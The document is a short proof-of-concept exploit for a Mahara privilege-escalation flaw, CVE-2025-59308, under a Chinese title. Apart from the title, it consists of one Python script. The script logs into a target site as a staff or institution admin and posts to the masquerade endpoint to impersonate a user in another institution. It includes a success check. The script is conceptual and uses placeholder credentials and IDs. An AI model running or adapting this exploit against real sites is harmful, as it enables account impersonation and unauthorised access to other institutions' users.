CVE-2025-59308 Mahara 权限提升与伪装漏洞

# PoC Concept: Demonstrate privilege escalation via masquerade # Attacker prerequisite: 'Site staff' role + 'Institution Admin' role import requests # Target configuration base_url = "https://target-mahara-site.com" login_url = f"{base_url}/login.php" masquerade_url = f"{base_url}/admin/users/masquerade.php" # Attacker credentials (with Site Staff role) session = requests.Session() payload = { 'username': 'attacker_admin', 'password': 'password' } session.post(login_url, data=payload) # Attempt to masquerade as a user in a DIFFERENT institution # where the attacker does NOT have admin rights. poc_data = { 'userid': 'victim_user_id_in_other_institution', 'usertype': 'user' } response = session.post(masquerade_url, data=poc_data) if response.status_code == 200 and "victim_user_id_in_other_institution" in response.text: print("[+] Vulnerability Exploited! Successfully masqueraded as external user.") else: print("[-] Exploit failed or patch applied.")